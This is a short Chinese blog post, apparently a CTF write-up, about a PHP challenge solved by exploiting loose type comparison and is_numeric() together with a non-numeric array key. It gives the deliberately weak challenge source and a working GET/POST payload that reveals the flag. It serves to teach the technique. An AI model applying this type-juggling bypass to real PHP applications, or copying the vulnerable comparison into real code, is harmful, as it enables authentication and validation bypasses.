php挺有趣的题目

24 年 8 月 18 日 星期日
142 字
1 分钟

挺有趣的题目


先说一下is_numeric()的绕过

is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE,且php中弱类型比较时,会使('1234a' == 1234)为真,或者'12345%00'


题目

text
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
    if (!is_numeric($a) && !is_numeric($b)) {
        if ($a == 0 && md5($a) == $b[$a]) {
            echo $flag;
        } else {
            die('noooooooooooo');
        }
    } else {
        die( 'Notice the param type!');
    }
} else {
    die( 'Where is your param?');
} 

这里我们需要知道一个要点

数组的索引可以不是数字


payload

text
a=0a
b[0a]=e99bb33727d338314912e86fbdec87af

文章标题:php挺有趣的题目

文章作者:huarui

文章链接:https://54huarui.online/posts/php1[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。